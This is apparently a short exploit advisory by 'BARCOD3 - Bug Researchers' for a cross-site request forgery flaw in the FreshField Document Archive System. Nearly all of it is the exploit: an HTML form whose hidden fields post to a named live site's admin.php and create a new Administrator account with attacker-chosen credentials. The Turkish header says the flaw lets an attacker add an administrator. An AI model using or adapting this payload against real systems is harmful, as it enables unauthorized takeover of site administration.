< ------------------- header data start ------------------- >


#############################################################

# Application Name : FreshField Document Archive System

# Vulnerable Type : XSRF

# Infection : Yeni Administrator Eklenebilir.

# author : BARCOD3 - Bug Researchers

# Demo : http://www.freshfield.com.au/doc/admin.php

# Home : http://www.ozkanbozkurt.com


#############################################################


< ------------------- header data end of ------------------- >


< -- bug code start -- >

<h3>BARCOD3</h3>
<form method=post action=http://www.freshfield.com.au/doc/admin.php>
<input type=hidden size=20 name=fname value=NAME>
<input type=hidden size=20 name=lname value=LASTNAME >
<option value=5 selected=selected>Administrator</option></select>
<input type=hidden size=30 name=email value=[email protected]>
<input type=hidden size=10 name=user value=username>
<input type=hidden size=10 name=pass value=passWORD>
<input type=hidden name=action2 value=add_me>
<input type=submit name=submit value=Submit>
</form>

< -- bug code end of -- >